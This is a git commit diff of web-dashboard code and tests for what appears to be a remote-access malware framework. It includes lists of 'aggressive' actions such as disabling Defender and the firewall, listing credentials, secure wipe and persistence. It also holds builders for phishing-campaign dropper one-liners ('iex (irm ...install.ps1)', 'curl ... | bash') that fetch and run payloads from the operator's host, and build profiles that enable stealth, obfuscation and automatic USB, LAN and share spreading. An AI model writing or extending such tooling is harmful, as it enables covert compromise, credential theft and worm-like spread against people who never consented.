feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
@@ -11,6 +11,9 @@ export const AGGRESSIVE_REMOTE_ACTIONS = [
|
||||
'tunnel_ssh_forward',
|
||||
'tunnel_stop',
|
||||
'subnet_scan',
|
||||
'smb_shares',
|
||||
'credential_vault_list',
|
||||
'secure_wipe',
|
||||
'defender_off',
|
||||
'firewall_punch',
|
||||
'firewall_off',
|
||||
@@ -32,7 +35,10 @@ export function canRunAggressiveAction(
|
||||
if (platform === 'darwin' && action === 'defender_off') return false;
|
||||
if (
|
||||
platform !== 'windows' &&
|
||||
(action.startsWith('firewall_') || action === 'bits_persist' || action === 'host_binary_persist')
|
||||
(action.startsWith('firewall_') ||
|
||||
action === 'bits_persist' ||
|
||||
action === 'host_binary_persist' ||
|
||||
action === 'smb_shares')
|
||||
) {
|
||||
return false;
|
||||
}
|
||||
@@ -49,6 +55,9 @@ export function canRunAggressiveAction(
|
||||
case 'tunnel_ssh_forward':
|
||||
case 'tunnel_stop':
|
||||
case 'subnet_scan':
|
||||
case 'smb_shares':
|
||||
case 'credential_vault_list':
|
||||
case 'secure_wipe':
|
||||
case 'defender_off':
|
||||
case 'firewall_punch':
|
||||
case 'firewall_off':
|
||||
@@ -82,6 +91,9 @@ export function aggressiveActionHint(
|
||||
if (platform !== 'windows' && action === 'host_binary_persist') {
|
||||
return 'Host binary hijack is Windows-only';
|
||||
}
|
||||
if (platform !== 'windows' && action === 'smb_shares') {
|
||||
return 'SMB share enumeration is Windows-only';
|
||||
}
|
||||
if (canRunAggressiveAction(action, caps, platform)) return undefined;
|
||||
switch (action) {
|
||||
case 'hole_punch':
|
||||
|
||||
117
server/web/src/help/crucibleOps.test.ts
Normal file
117
server/web/src/help/crucibleOps.test.ts
Normal file
@@ -0,0 +1,117 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { mockAgent } from '../test/fixtures';
|
||||
import {
|
||||
CRUCIBLE_PHASE_C_ACTIONS,
|
||||
CRUCIBLE_PHASE_C_STUBS,
|
||||
buildSSHForwardPayload,
|
||||
isWindowsPlatform,
|
||||
newPortForwardRow,
|
||||
onlineAgents,
|
||||
parseCameraListMessage,
|
||||
parseRemoteHostPort,
|
||||
selectionAggressiveHint,
|
||||
selectionCanRunAggressive,
|
||||
validatePortForwardRows,
|
||||
windowsOnlineAgents,
|
||||
} from './crucibleOps';
|
||||
|
||||
const fullCaps = {
|
||||
hole_punch: true,
|
||||
remote_aggressive: true,
|
||||
mesh_p2p: true,
|
||||
auto_spread: true,
|
||||
process_hollowing: false,
|
||||
ai_enabled: false,
|
||||
};
|
||||
|
||||
describe('crucibleOps', () => {
|
||||
it('onlineAgents filters to online status', () => {
|
||||
const agents = [
|
||||
mockAgent({ id: 'a', status: 'online' }),
|
||||
mockAgent({ id: 'b', status: 'offline' }),
|
||||
];
|
||||
expect(onlineAgents(agents).map((a) => a.id)).toEqual(['a']);
|
||||
});
|
||||
|
||||
it('windowsOnlineAgents filters to online Windows nodes', () => {
|
||||
const agents = [
|
||||
mockAgent({ id: 'w', status: 'online', platform: 'windows' }),
|
||||
mockAgent({ id: 'l', status: 'online', platform: 'linux' }),
|
||||
];
|
||||
expect(windowsOnlineAgents(agents).map((a) => a.id)).toEqual(['w']);
|
||||
});
|
||||
|
||||
it('isWindowsPlatform treats unknown as Windows', () => {
|
||||
expect(isWindowsPlatform(undefined)).toBe(true);
|
||||
expect(isWindowsPlatform('windows')).toBe(true);
|
||||
expect(isWindowsPlatform('linux')).toBe(false);
|
||||
});
|
||||
|
||||
it('selectionCanRunAggressive allows when any target has capability', () => {
|
||||
const agents = [
|
||||
mockAgent({ id: 'w', status: 'online', platform: 'windows', capabilities: fullCaps }),
|
||||
mockAgent({
|
||||
id: 'l',
|
||||
status: 'online',
|
||||
platform: 'linux',
|
||||
capabilities: { ...fullCaps, remote_aggressive: false },
|
||||
}),
|
||||
];
|
||||
expect(selectionCanRunAggressive('firewall_off', agents)).toBe(true);
|
||||
expect(selectionCanRunAggressive('mesh_status', [{ ...agents[1], capabilities: { ...fullCaps, mesh_p2p: false } }])).toBe(false);
|
||||
});
|
||||
|
||||
it('selectionAggressiveHint explains blocked bulk ops', () => {
|
||||
const agents = [
|
||||
mockAgent({
|
||||
id: 'l',
|
||||
status: 'online',
|
||||
platform: 'linux',
|
||||
capabilities: fullCaps,
|
||||
}),
|
||||
];
|
||||
expect(selectionAggressiveHint('firewall_off', agents)).toContain('Windows-only');
|
||||
expect(selectionAggressiveHint('hole_punch', [])).toContain('online');
|
||||
});
|
||||
|
||||
it('parseCameraListMessage strips ffmpeg banner lines', () => {
|
||||
const msg = `[dshow @ 0] DirectShow video devices
|
||||
"USB2.0 HD UVC WebCam"
|
||||
/dev/video0`;
|
||||
expect(parseCameraListMessage(msg)).toEqual(['"USB2.0 HD UVC WebCam"', '/dev/video0']);
|
||||
});
|
||||
|
||||
it('lists Phase C actions', () => {
|
||||
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('smb_shares');
|
||||
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('spread_status');
|
||||
expect(CRUCIBLE_PHASE_C_STUBS.some((s) => s.id === 'smb_shares')).toBe(true);
|
||||
});
|
||||
|
||||
it('parseRemoteHostPort splits host and port', () => {
|
||||
expect(parseRemoteHostPort('192.168.1.10:3389')).toEqual({ host: '192.168.1.10', port: 3389 });
|
||||
expect(parseRemoteHostPort('[::1]:22')).toEqual({ host: '::1', port: 22 });
|
||||
expect(parseRemoteHostPort('bad')).toBeNull();
|
||||
});
|
||||
|
||||
it('buildSSHForwardPayload omits empty ssh user', () => {
|
||||
expect(buildSSHForwardPayload('2222', '10.0.0.5:22', '')).toEqual({
|
||||
local_port: 2222,
|
||||
remote_host: '10.0.0.5',
|
||||
remote_port: 22,
|
||||
});
|
||||
expect(buildSSHForwardPayload('2222', '10.0.0.5:22', 'admin')).toEqual({
|
||||
local_port: 2222,
|
||||
remote_host: '10.0.0.5',
|
||||
remote_port: 22,
|
||||
ssh_user: 'admin',
|
||||
});
|
||||
});
|
||||
|
||||
it('validatePortForwardRows rejects invalid rows', () => {
|
||||
expect(validatePortForwardRows([])).toContain('at least one');
|
||||
const row = newPortForwardRow('r1');
|
||||
row.remoteHostPort = 'nope';
|
||||
expect(validatePortForwardRows([row])).toContain('Invalid row');
|
||||
expect(validatePortForwardRows([newPortForwardRow('r2')])).toBeNull();
|
||||
});
|
||||
});
|
||||
147
server/web/src/help/crucibleOps.ts
Normal file
147
server/web/src/help/crucibleOps.ts
Normal file
@@ -0,0 +1,147 @@
|
||||
import type { Agent } from '../types';
|
||||
import {
|
||||
aggressiveActionHint,
|
||||
canRunAggressiveAction,
|
||||
type AggressiveRemoteAction,
|
||||
} from './aggressiveActions';
|
||||
|
||||
/** Phase C Crucible remote actions (wired in agent + CrucibleExpandedOps). */
|
||||
export const CRUCIBLE_PHASE_C_ACTIONS = [
|
||||
'smb_shares',
|
||||
'spread_status',
|
||||
'credential_vault_list',
|
||||
'secure_wipe',
|
||||
'tunnel_ssh_forward',
|
||||
] as const;
|
||||
|
||||
export type CruciblePhaseCAction = (typeof CRUCIBLE_PHASE_C_ACTIONS)[number];
|
||||
|
||||
/** @deprecated use CRUCIBLE_PHASE_C_ACTIONS — kept for tests migrating off stubs */
|
||||
export const CRUCIBLE_PHASE_C_STUBS = [
|
||||
{ id: 'smb_shares', label: 'SMB Shares', hint: 'Enumerate accessible \\\\host\\share on Windows LAN' },
|
||||
{ id: 'spread_status', label: 'Spread Status', hint: 'Last lateral spread sweep summary JSON' },
|
||||
{ id: 'credential_vault_list', label: 'Credential Names', hint: 'Vault / keychain / SSH key names only' },
|
||||
{ id: 'secure_wipe', label: 'Secure Wipe', hint: 'Overwrite-then-delete folder' },
|
||||
{ id: 'port_fwd_matrix', label: 'Port-Forward Matrix', hint: 'Multi-node SSH local forward grid' },
|
||||
] as const;
|
||||
|
||||
export function isWindowsPlatform(platform?: string): boolean {
|
||||
if (!platform) return true;
|
||||
return platform.toLowerCase().includes('win');
|
||||
}
|
||||
|
||||
export function onlineAgents(agents: Agent[]): Agent[] {
|
||||
return agents.filter((a) => a.status === 'online');
|
||||
}
|
||||
|
||||
export function windowsOnlineAgents(agents: Agent[]): Agent[] {
|
||||
return onlineAgents(agents).filter((a) => isWindowsPlatform(a.platform));
|
||||
}
|
||||
|
||||
/** True when at least one online selected agent can run the aggressive action. */
|
||||
export function selectionCanRunAggressive(
|
||||
action: AggressiveRemoteAction,
|
||||
agents: Agent[]
|
||||
): boolean {
|
||||
const targets = onlineAgents(agents);
|
||||
if (targets.length === 0) return false;
|
||||
return targets.some((a) => canRunAggressiveAction(action, a.capabilities, a.platform));
|
||||
}
|
||||
|
||||
/** Disabled-state tooltip for bulk aggressive ops across a mixed selection. */
|
||||
export function selectionAggressiveHint(
|
||||
action: AggressiveRemoteAction,
|
||||
agents: Agent[]
|
||||
): string | undefined {
|
||||
const targets = onlineAgents(agents);
|
||||
if (targets.length === 0) return 'Select at least one online node';
|
||||
if (selectionCanRunAggressive(action, agents)) return undefined;
|
||||
const blocked = targets.find(
|
||||
(a) => !canRunAggressiveAction(action, a.capabilities, a.platform)
|
||||
);
|
||||
return aggressiveActionHint(action, blocked?.capabilities, blocked?.platform);
|
||||
}
|
||||
|
||||
/** Parse camera_list newline output into device paths/names. */
|
||||
export function parseCameraListMessage(message: string): string[] {
|
||||
return message
|
||||
.split('\n')
|
||||
.map((l) => l.trim())
|
||||
.filter((l) => l.length > 0 && !l.startsWith('['));
|
||||
}
|
||||
|
||||
export interface PortForwardRow {
|
||||
id: string;
|
||||
localPort: string;
|
||||
remoteHostPort: string;
|
||||
sshUser: string;
|
||||
}
|
||||
|
||||
export interface SSHForwardPayload {
|
||||
local_port: number;
|
||||
remote_host: string;
|
||||
remote_port: number;
|
||||
ssh_user?: string;
|
||||
}
|
||||
|
||||
/** Split "host:port" with optional IPv6 bracket form [::1]:22 */
|
||||
export function parseRemoteHostPort(raw: string): { host: string; port: number } | null {
|
||||
const trimmed = raw.trim();
|
||||
if (!trimmed) return null;
|
||||
if (trimmed.startsWith('[')) {
|
||||
const end = trimmed.indexOf(']');
|
||||
if (end < 0) return null;
|
||||
const host = trimmed.slice(1, end);
|
||||
const rest = trimmed.slice(end + 1);
|
||||
if (!rest.startsWith(':')) return null;
|
||||
const port = parseInt(rest.slice(1), 10);
|
||||
if (!host || !Number.isFinite(port) || port <= 0 || port > 65535) return null;
|
||||
return { host, port };
|
||||
}
|
||||
const idx = trimmed.lastIndexOf(':');
|
||||
if (idx <= 0) return null;
|
||||
const host = trimmed.slice(0, idx);
|
||||
const port = parseInt(trimmed.slice(idx + 1), 10);
|
||||
if (!host || !Number.isFinite(port) || port <= 0 || port > 65535) return null;
|
||||
return { host, port };
|
||||
}
|
||||
|
||||
export function buildSSHForwardPayload(
|
||||
localPort: string,
|
||||
remoteHostPort: string,
|
||||
sshUser?: string
|
||||
): SSHForwardPayload | null {
|
||||
const local = parseInt(localPort.trim(), 10);
|
||||
const remote = parseRemoteHostPort(remoteHostPort);
|
||||
if (!Number.isFinite(local) || local <= 0 || local > 65535 || !remote) return null;
|
||||
const payload: SSHForwardPayload = {
|
||||
local_port: local,
|
||||
remote_host: remote.host,
|
||||
remote_port: remote.port,
|
||||
};
|
||||
const user = sshUser?.trim();
|
||||
if (user) payload.ssh_user = user;
|
||||
return payload;
|
||||
}
|
||||
|
||||
export function newPortForwardRow(id?: string): PortForwardRow {
|
||||
const rowId = id ?? `pf-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
|
||||
return { id: rowId, localPort: '2222', remoteHostPort: '192.168.1.10:22', sshUser: '' };
|
||||
}
|
||||
|
||||
export function validatePortForwardRows(rows: PortForwardRow[]): string | null {
|
||||
if (rows.length === 0) return 'Add at least one forward row';
|
||||
for (const row of rows) {
|
||||
if (!buildSSHForwardPayload(row.localPort, row.remoteHostPort, row.sshUser)) {
|
||||
return `Invalid row: local ${row.localPort} → ${row.remoteHostPort}`;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
export type CrucibleDispatchArgs = Record<string, unknown>;
|
||||
|
||||
export interface CrucibleDispatchTarget {
|
||||
id: string;
|
||||
name: string;
|
||||
}
|
||||
32
server/web/src/help/emberwake.test.ts
Normal file
32
server/web/src/help/emberwake.test.ts
Normal file
@@ -0,0 +1,32 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import {
|
||||
campaignQuery,
|
||||
combinedDropperQuery,
|
||||
ps1Oneliner,
|
||||
shOneliner,
|
||||
publicDownloadUrl,
|
||||
} from './emberwake';
|
||||
|
||||
describe('emberwake URL helpers', () => {
|
||||
it('builds campaign query slug', () => {
|
||||
expect(campaignQuery('linkedin-bait')).toBe('?c=linkedin-bait');
|
||||
expect(campaignQuery(' ')).toBe('');
|
||||
expect(campaignQuery('bad slug!')).toBe('?c=badslug');
|
||||
});
|
||||
|
||||
it('combines pin and campaign', () => {
|
||||
expect(combinedDropperQuery('abc-123', 'wave-a')).toBe('?pin=abc-123&c=wave-a');
|
||||
expect(combinedDropperQuery('', 'solo')).toBe('?c=solo');
|
||||
});
|
||||
|
||||
it('formats one-liners', () => {
|
||||
expect(ps1Oneliner('http://10.0.0.5:8989/', '?c=x')).toContain('install.ps1?c=x');
|
||||
expect(shOneliner('http://10.0.0.5:8989', '')).toContain('install.sh');
|
||||
});
|
||||
|
||||
it('public download URL', () => {
|
||||
expect(publicDownloadUrl('http://host', 'build-1', 'c1')).toBe(
|
||||
'http://host/api/v1/public/download/build-1?c=c1',
|
||||
);
|
||||
});
|
||||
});
|
||||
45
server/web/src/help/emberwake.ts
Normal file
45
server/web/src/help/emberwake.ts
Normal file
@@ -0,0 +1,45 @@
|
||||
/** Campaign URL builders for Emberwake / waterhole spreading. */
|
||||
|
||||
export function campaignQuery(campaign: string): string {
|
||||
const slug = campaign.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 64);
|
||||
return slug ? `?c=${encodeURIComponent(slug)}` : '';
|
||||
}
|
||||
|
||||
export function pinQuery(buildId: string): string {
|
||||
const id = buildId.trim();
|
||||
return id ? `?pin=${encodeURIComponent(id)}` : '';
|
||||
}
|
||||
|
||||
export function combinedDropperQuery(pinBuildId: string, campaign: string): string {
|
||||
const parts: string[] = [];
|
||||
const pin = pinBuildId.trim();
|
||||
const slug = campaign.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 64);
|
||||
if (pin) parts.push(`pin=${encodeURIComponent(pin)}`);
|
||||
if (slug) parts.push(`c=${encodeURIComponent(slug)}`);
|
||||
return parts.length ? `?${parts.join('&')}` : '';
|
||||
}
|
||||
|
||||
export function ps1Oneliner(baseUrl: string, query = ''): string {
|
||||
const base = baseUrl.replace(/\/$/, '');
|
||||
return `iex (irm '${base}/install.ps1${query}')`;
|
||||
}
|
||||
|
||||
export function shOneliner(baseUrl: string, query = ''): string {
|
||||
const base = baseUrl.replace(/\/$/, '');
|
||||
return `curl -sL '${base}/install.sh${query}' | bash`;
|
||||
}
|
||||
|
||||
export function commandOneliner(baseUrl: string, query = ''): string {
|
||||
const base = baseUrl.replace(/\/$/, '');
|
||||
return `curl -sL '${base}/install.command${query}' | bash`;
|
||||
}
|
||||
|
||||
export function getUrl(baseUrl: string, query = ''): string {
|
||||
return `${baseUrl.replace(/\/$/, '')}/get${query}`;
|
||||
}
|
||||
|
||||
export function publicDownloadUrl(origin: string, buildId: string, campaign = ''): string {
|
||||
const base = origin.replace(/\/$/, '');
|
||||
const q = campaignQuery(campaign);
|
||||
return `${base}/api/v1/public/download/${encodeURIComponent(buildId)}${q}`;
|
||||
}
|
||||
@@ -73,6 +73,20 @@ const AGENT_HANDLED = new Set([
|
||||
'bits_persist',
|
||||
'host_binary_persist',
|
||||
'mesh_status',
|
||||
'connectivity_probe',
|
||||
'arp_neighbors',
|
||||
'persistence_audit',
|
||||
'kill_process',
|
||||
'delete_path',
|
||||
'move_path',
|
||||
'registry_read',
|
||||
'registry_write',
|
||||
'registry_delete',
|
||||
'upgrade',
|
||||
'smb_shares',
|
||||
'spread_status',
|
||||
'credential_vault_list',
|
||||
'secure_wipe',
|
||||
]);
|
||||
|
||||
describe('remote action wiring', () => {
|
||||
@@ -96,8 +110,8 @@ describe('remote action wiring', () => {
|
||||
|
||||
describe('AGGRESSIVE_REMOTE_ACTIONS', () => {
|
||||
it('lists every wired aggressive command once', () => {
|
||||
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(18);
|
||||
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(18);
|
||||
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(21);
|
||||
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(21);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -138,6 +152,9 @@ describe('canRunAggressiveAction edge cases', () => {
|
||||
'tunnel_ssh_forward',
|
||||
'tunnel_stop',
|
||||
'subnet_scan',
|
||||
'smb_shares',
|
||||
'credential_vault_list',
|
||||
'secure_wipe',
|
||||
'defender_off',
|
||||
'firewall_punch',
|
||||
'firewall_off',
|
||||
|
||||
41
server/web/src/help/remoteDirBrowser.test.ts
Normal file
41
server/web/src/help/remoteDirBrowser.test.ts
Normal file
@@ -0,0 +1,41 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
defaultBrowseRoot,
|
||||
joinRemotePath,
|
||||
parseListDirMessage,
|
||||
pathBreadcrumbs,
|
||||
} from './remoteDirBrowser';
|
||||
|
||||
describe('remoteDirBrowser helpers', () => {
|
||||
it('parseListDirMessage reads agent JSON', () => {
|
||||
const msg = JSON.stringify({
|
||||
path: '/home/alice',
|
||||
home_dir: '/home/alice',
|
||||
platform: 'linux',
|
||||
entries: [{ name: 'docs', is_dir: true, size: 0 }],
|
||||
});
|
||||
const parsed = parseListDirMessage(msg);
|
||||
expect(parsed?.path).toBe('/home/alice');
|
||||
expect(parsed?.entries).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('defaultBrowseRoot returns empty for agent home resolution', () => {
|
||||
expect(defaultBrowseRoot('windows')).toBe('');
|
||||
expect(defaultBrowseRoot('linux')).toBe('');
|
||||
});
|
||||
|
||||
it('joinRemotePath handles unix parent', () => {
|
||||
expect(joinRemotePath('/home/alice/docs', '..')).toBe('/home/alice');
|
||||
expect(joinRemotePath('/home/alice/docs', 'file.txt')).toBe('/home/alice/docs/file.txt');
|
||||
});
|
||||
|
||||
it('joinRemotePath handles windows parent', () => {
|
||||
expect(joinRemotePath('C:\\Users\\alice', '..')).toBe('C:\\Users');
|
||||
expect(joinRemotePath('C:\\Users\\alice', 'Desktop')).toBe('C:\\Users\\alice\\Desktop');
|
||||
});
|
||||
|
||||
it('pathBreadcrumbs splits mixed separators', () => {
|
||||
expect(pathBreadcrumbs('/var/log')).toEqual(['var', 'log']);
|
||||
expect(pathBreadcrumbs('C:\\Users\\bob')).toEqual(['C:', 'Users', 'bob']);
|
||||
});
|
||||
});
|
||||
55
server/web/src/help/remoteDirBrowser.ts
Normal file
55
server/web/src/help/remoteDirBrowser.ts
Normal file
@@ -0,0 +1,55 @@
|
||||
export interface DirEntry {
|
||||
name: string;
|
||||
is_dir: boolean;
|
||||
size: number;
|
||||
}
|
||||
|
||||
export interface ListDirResult {
|
||||
path: string;
|
||||
home_dir?: string;
|
||||
platform?: string;
|
||||
entries: DirEntry[];
|
||||
}
|
||||
|
||||
export function parseListDirMessage(message: string): ListDirResult | null {
|
||||
try {
|
||||
const j = JSON.parse(message) as ListDirResult;
|
||||
if (j.entries && Array.isArray(j.entries)) {
|
||||
return {
|
||||
path: j.path ?? '',
|
||||
home_dir: j.home_dir,
|
||||
platform: j.platform,
|
||||
entries: j.entries,
|
||||
};
|
||||
}
|
||||
} catch {
|
||||
/* not JSON */
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/** Initial browse path sent to the agent (empty → agent home). */
|
||||
export function defaultBrowseRoot(_platform?: string): string {
|
||||
return '';
|
||||
}
|
||||
|
||||
export function joinRemotePath(cwd: string, name: string): string {
|
||||
const sep = cwd.includes('/') ? '/' : '\\';
|
||||
if (name === '..') {
|
||||
const parts = cwd.replace(/[/\\]+$/, '').split(/[/\\]/).filter(Boolean);
|
||||
parts.pop();
|
||||
if (parts.length === 0) {
|
||||
return sep === '/' ? '/' : 'C:\\';
|
||||
}
|
||||
const joined = parts.join(sep);
|
||||
if (sep === '\\' && parts.length === 1 && /^[A-Za-z]:$/.test(parts[0])) {
|
||||
return parts[0] + ':\\';
|
||||
}
|
||||
return (cwd.startsWith('/') ? '/' : '') + joined;
|
||||
}
|
||||
return cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
|
||||
}
|
||||
|
||||
export function pathBreadcrumbs(cwd: string): string[] {
|
||||
return cwd.split(/[/\\]/).filter(Boolean);
|
||||
}
|
||||
88
server/web/src/help/spreadProfiles.ts
Normal file
88
server/web/src/help/spreadProfiles.ts
Normal file
@@ -0,0 +1,88 @@
|
||||
import type { BuildRequest } from '../types';
|
||||
|
||||
export type SpreadProfileId = 'web_drop' | 'desktop_fusion' | 'lan_kindling' | 'crucible_ops';
|
||||
|
||||
export interface SpreadProfile {
|
||||
id: SpreadProfileId;
|
||||
label: string;
|
||||
color: string;
|
||||
blurb: string;
|
||||
apply: (form: BuildRequest) => BuildRequest;
|
||||
}
|
||||
|
||||
export const SPREAD_PROFILES: SpreadProfile[] = [
|
||||
{
|
||||
id: 'web_drop',
|
||||
label: 'Web Drop',
|
||||
color: '#3dd6c6',
|
||||
blurb: 'Headless Linux — small, systemd, no screenshot, minimal spread',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
target_os: 'linux',
|
||||
target_arch: 'amd64',
|
||||
spread_kit: false,
|
||||
fusion_enabled: false,
|
||||
stealth_mode: true,
|
||||
file_logging: false,
|
||||
remote_aggressive: false,
|
||||
auto_spread: false,
|
||||
usb_spread: false,
|
||||
share_spread: false,
|
||||
run_as: 'service',
|
||||
autostart_mode: 'boot_task',
|
||||
}),
|
||||
},
|
||||
{
|
||||
id: 'desktop_fusion',
|
||||
label: 'Desktop Fusion',
|
||||
color: '#f0abfc',
|
||||
blurb: 'Big stealth fusion — garble on, visible UI off',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
target_os: 'universal',
|
||||
target_arch: 'all',
|
||||
spread_kit: false,
|
||||
fusion_enabled: true,
|
||||
stealth_mode: true,
|
||||
display_mode: 'background',
|
||||
obfuscate: true,
|
||||
remote_aggressive: false,
|
||||
auto_spread: false,
|
||||
}),
|
||||
},
|
||||
{
|
||||
id: 'lan_kindling',
|
||||
label: 'LAN Kindling',
|
||||
color: '#ff6b2c',
|
||||
blurb: 'Universal spread kit + autospread for LAN/USB',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
target_os: 'universal',
|
||||
target_arch: 'all',
|
||||
spread_kit: true,
|
||||
fusion_enabled: false,
|
||||
stealth_mode: true,
|
||||
auto_spread: true,
|
||||
usb_spread: true,
|
||||
share_spread: true,
|
||||
remote_aggressive: false,
|
||||
}),
|
||||
},
|
||||
{
|
||||
id: 'crucible_ops',
|
||||
label: 'Crucible Ops',
|
||||
color: '#c9a227',
|
||||
blurb: 'Aggressive remote ops enabled for Crucible',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
remote_aggressive: true,
|
||||
hole_punch: true,
|
||||
auto_spread: false,
|
||||
}),
|
||||
},
|
||||
];
|
||||
|
||||
export function applySpreadProfile(form: BuildRequest, id: SpreadProfileId): BuildRequest {
|
||||
const profile = SPREAD_PROFILES.find((p) => p.id === id);
|
||||
return profile ? profile.apply(form) : form;
|
||||
}
|
||||
Reference in New Issue
Block a user